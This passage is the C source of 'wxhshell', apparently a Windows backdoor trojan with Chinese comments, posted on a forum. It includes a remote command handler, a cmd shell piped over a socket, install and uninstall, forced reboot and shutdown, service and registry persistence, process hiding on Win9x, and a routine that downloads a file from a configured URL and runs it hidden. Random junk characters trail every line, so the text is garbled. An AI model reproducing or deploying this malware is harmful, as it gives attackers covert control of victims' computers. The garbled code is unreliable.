  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?CE&F<?#@  
  } oR'u&\mB  
  else { ^BhS*  
}sW%i#CV  
    switch(cmd[0]) { ibh,d.*~g  
  ]Yk)A.y  
  // 帮助 J)P7QTC  
  case '?': { QeG3X+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,d$D0w  
    break; #.@-ng6C  
  } o8u;2gZx  
  // 安装 X \qG WpN%  
  case 'i': { 8 Cw3b\ne  
    if(Install()) Tx|y!uHh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `{9bf)vP6  
    else |Jny0a/0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YU/?AQg  
    break; nG0R1<  
    } (0^ZZe`# j  
  // 卸载 )_SpY\J  
  case 'r': { k[{ ~ eN:  
    if(Uninstall()) ~ ;ObT=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |X;|=.  
    else y'm5Z-@o6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8\Hz FB  
    break; *g[MGyF "  
    } %{&,5|8  
  // 显示 wxhshell 所在路径 59BB-R,V  
  case 'p': { 9E}JtLgT  
    char svExeFile[MAX_PATH]; MM(\>J[Uq  
    strcpy(svExeFile,"\n\r"); 2&XNT-Qm  
      strcat(svExeFile,ExeFile); Tb}op XYK  
        send(wsh,svExeFile,strlen(svExeFile),0); Q2<v: *L  
    break; %#C9E kr  
    } K>G.HN@  
  // 重启 h`f$]_c  
  case 'b': { Ik-E_U2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fw)Q1"|  
    if(Boot(REBOOT)) D 3Tqk^5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rG3?Z^&R+  
    else { moL3GV%]Gq  
    closesocket(wsh); aATNeAR  
    ExitThread(0); C!)ZRuRv  
    } YFP<^y=  
    break; }!V-FAL  
    } UHR%0ae  
  // 关机  Lr0:y o  
  case 'd': { k5)a|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _fS4a134R  
    if(Boot(SHUTDOWN)) 2 ])e}& i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sm;@MI<@/  
    else { 8^sh@j2L  
    closesocket(wsh); *U +<Hv`C  
    ExitThread(0); jcHyRR1R  
    } lcK4 Uq\q  
    break; 0[E \h   
    } ~bsdy2&/q  
  // 获取shell ^G4@cR.An  
  case 's': { z `jLKPP!=  
    CmdShell(wsh); RoNE7|gF:  
    closesocket(wsh); nWA>u J5  
    ExitThread(0); IZs&7  
    break; ]A%~bQ7  
  } JJ9R, 8n6  
  // 退出 T"1=/r$Ft  
  case 'x': { X.ecA`0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [,(+r7aB  
    CloseIt(wsh); }m&\I  
    break; S_?sJwM  
    } Po*!eD  
  // 离开 & H8  %  
  case 'q': { \,'4eV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w)&?9?~  
    closesocket(wsh); rE]Nr ;Ys  
    WSACleanup(); pog   
    exit(1); NS-0-o|4#  
    break; o2[$X ONTl  
        } 8:[ l1d86  
  } |K9*><P?)2  
  } I51I(QF=  
~F%sO'4!  
  // 提示信息 q1v7(`O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 29cx(  
} Gn<0Fy2  
  } 5p6/dlN-a  
f3S 8~!  
  return; ubRhJ~XB  
} (2UA,  
}B_?7+  
// shell模块句柄 70 Ph^e)  
int CmdShell(SOCKET sock) r6GXmr  
{ 6\k~q.U@XI  
STARTUPINFO si; &hrMpD6z6i  
ZeroMemory(&si,sizeof(si)); +\$c_9|C+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X *EseC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *,t/IA|  
PROCESS_INFORMATION ProcessInfo; AN3oh1xe:  
char cmdline[]="cmd"; z?pi /`y8>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8 Vf #t!t  
  return 0; i[I&m]N  
} Ve${g`7&  
a,(nf1@5  
// 自身启动模式 TO.STK`  
int StartFromService(void) 6l T< lzT  
{ 6TTu[*0NT  
typedef struct [XttT  
{ (H"{r  
  DWORD ExitStatus;  q*94vo-  
  DWORD PebBaseAddress; $41<ldJ  
  DWORD AffinityMask; "?<(-,T  
  DWORD BasePriority; /GX>L)  
  ULONG UniqueProcessId; ^4NRmlb  
  ULONG InheritedFromUniqueProcessId; .)=*Yr M  
}   PROCESS_BASIC_INFORMATION; 9yaTDxB>  
]_|'N7J  
PROCNTQSIP NtQueryInformationProcess; EIfqRRTA  
]#W7-Q;]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /q}(KJX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /nsBUM[;  
Zb2PFwcy  
  HANDLE             hProcess; Bex;!1  
  PROCESS_BASIC_INFORMATION pbi; 0U:X[2|)  
JdLPIfI^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9HEqB0|ZRu  
  if(NULL == hInst ) return 0; 7r^Cs#b+I  
(>E/C^Tc%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  + K`.ck  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); crOSr/I$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %@)R  
T+aNX/c|>  
  if (!NtQueryInformationProcess) return 0; $gN\%X/n"1  
Z6rZAwy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d2V\T+=  
  if(!hProcess) return 0; A+GRTwj  
> ;#Y0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H-nhq-fut  
a6cU<(WDeh  
  CloseHandle(hProcess); .dVV# H  
g],]l'7H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $STGH  
if(hProcess==NULL) return 0; ~(-1mB,  
v#d(Kj  
HMODULE hMod; ~JNE]mg  
char procName[255]; /W`CqJk-*.  
unsigned long cbNeeded; _KKux3a  
F(zCvT   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ju3@F8AI  
;Z`a[\i':  
  CloseHandle(hProcess); jMCd`Q]K  
q,<l3rIn  
if(strstr(procName,"services")) return 1; // 以服务启动 6 rj iZ%  
}st~$JsV1  
  return 0; // 注册表启动 I\1"E y  
} 9C2pGfEbn}  
EpKZ.lCU  
// 主模块 #d3_7rI0V  
int StartWxhshell(LPSTR lpCmdLine) V=p"1!(  
{ -s!J3DB  
  SOCKET wsl; D\+x/r?-I  
BOOL val=TRUE; 4H;7GNu  
  int port=0; GD)paTwO<  
  struct sockaddr_in door; ,YjjL  
(gPB@hAv  
  if(wscfg.ws_autoins) Install(); B~k{f}  
'3U,UD5EG  
port=atoi(lpCmdLine); _ Pzgn@D  
H! 5Ka#B  
if(port<=0) port=wscfg.ws_port; 5._QI/d)'J  
7O k-T10  
  WSADATA data; 0TA8#c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ky]^N)  
,/GFD[SQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5Za<]qxr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >yLDU_P)  
  door.sin_family = AF_INET; rir,|y,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $xdo=4;|  
  door.sin_port = htons(port); pfIK9>i  
xzOvc<u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A'7Y{oPHX  
closesocket(wsl); @BjB Mi,  
return 1; 9eq)WI/  
} +X+R8  
h*D -Vo  
  if(listen(wsl,2) == INVALID_SOCKET) { v;G/8>GRy  
closesocket(wsl); u/wX7s   
return 1; s.rQiD  
} D</?|;J#/  
  Wxhshell(wsl); Oi& 9FS  
  WSACleanup(); Sin)]zG~0  
UMBeY[ ?  
return 0; xi.?@Lff  
#:yAi_Ct  
} y7CXE6Y  
9z{}DBA  
// 以NT服务方式启动 M,p0wsj;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #y7MB6-  
{ rA8NE>  
DWORD   status = 0; RA!m,"RM  
  DWORD   specificError = 0xfffffff; mt0v (  
i <gt`UCO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 04=RoYMM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^`dMjeF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BR?DW~7J j  
  serviceStatus.dwWin32ExitCode     = 0; v(JjvN21  
  serviceStatus.dwServiceSpecificExitCode = 0; *y|w9 r p  
  serviceStatus.dwCheckPoint       = 0; c)N_"#&  
  serviceStatus.dwWaitHint       = 0; ZVJ6 {DS/  
"QS(4yw?jg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;Ccp1a~+  
  if (hServiceStatusHandle==0) return; G7,v:dlK   
7b-[# g  
status = GetLastError(); 9Z=hg[`]<  
  if (status!=NO_ERROR) F?MVQ!K*  
{ %La/E#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `|"o\Bg<  
    serviceStatus.dwCheckPoint       = 0; :jkPV%!~  
    serviceStatus.dwWaitHint       = 0; fj( WH L  
    serviceStatus.dwWin32ExitCode     = status; @ YWuWF  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2Hx*kh2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yB *aG  
    return; s"nntC  
  } psx_gv,  
_C1u}1hW#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]Hi1^Y<  
  serviceStatus.dwCheckPoint       = 0; Q2]7|C  
  serviceStatus.dwWaitHint       = 0; "30=!k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [:e>FXV  
} y6sY?uu  
Yz0HB EA  
// 处理NT服务事件,比如:启动、停止 -:L7iOzgD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PIFZ '6gn  
{ 7KRNTnd  
switch(fdwControl) 5oYeUy>N  
{ X2| Z!  
case SERVICE_CONTROL_STOP: Bs`='w%7  
  serviceStatus.dwWin32ExitCode = 0; oz:J.<j24Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d3?gh[$  
  serviceStatus.dwCheckPoint   = 0; :mCGY9d4L  
  serviceStatus.dwWaitHint     = 0; +|+fDQI  
  { 0L"uU3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yJqDB$0  
  } :18}$  
  return; hZUS#75M5  
case SERVICE_CONTROL_PAUSE: jL4"FTcE]3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RN1KM  
  break; e*( _Cvxp  
case SERVICE_CONTROL_CONTINUE: =8p[ (<F=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jamai8  
  break;  }l]r-  
case SERVICE_CONTROL_INTERROGATE: HP3%CB  
  break; <>-gQ9  
}; M_75bU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ud>hDOJ3  
} hN1 [*cF  
n],cs  
// 标准应用程序主函数 4T&Jlu?:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p{r{}iYI  
{ R~TG5^(  
ko!aX;K  
// 获取操作系统版本 ^H<VH  
OsIsNt=GetOsVer(); A"+t[0$.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 436SIh  
#vBSg  
  // 从命令行安装 R5uz<  
  if(strpbrk(lpCmdLine,"iI")) Install(); [ CU8%%7  
1_}k)(n  
  // 下载执行文件 ih:%U  
if(wscfg.ws_downexe) { j}jU.\*v<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +'` ^ N  
  WinExec(wscfg.ws_filenam,SW_HIDE); b_~KtMO  
} ' e x/IqbK  
H0.&~!,*  
if(!OsIsNt) { l$!NEOK  
// 如果时win9x,隐藏进程并且设置为注册表启动 =<= [E:B  
HideProc(); )In;nc  
StartWxhshell(lpCmdLine); .J5or  
} ?f:\&+.&  
else j=>WWlZ  
  if(StartFromService()) e<Oz%  
  // 以服务方式启动 V-i:t,*lk(  
  StartServiceCtrlDispatcher(DispatchTable); kwt;pxp i  
else ?0s&Kz4B  
  // 普通方式启动 SnO,-Rg  
  StartWxhshell(lpCmdLine); Qej<(:J5  
J/vcP  
return 0; EJaO"9 (  
}
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只看该作者 1 发表于: 2006-10-10
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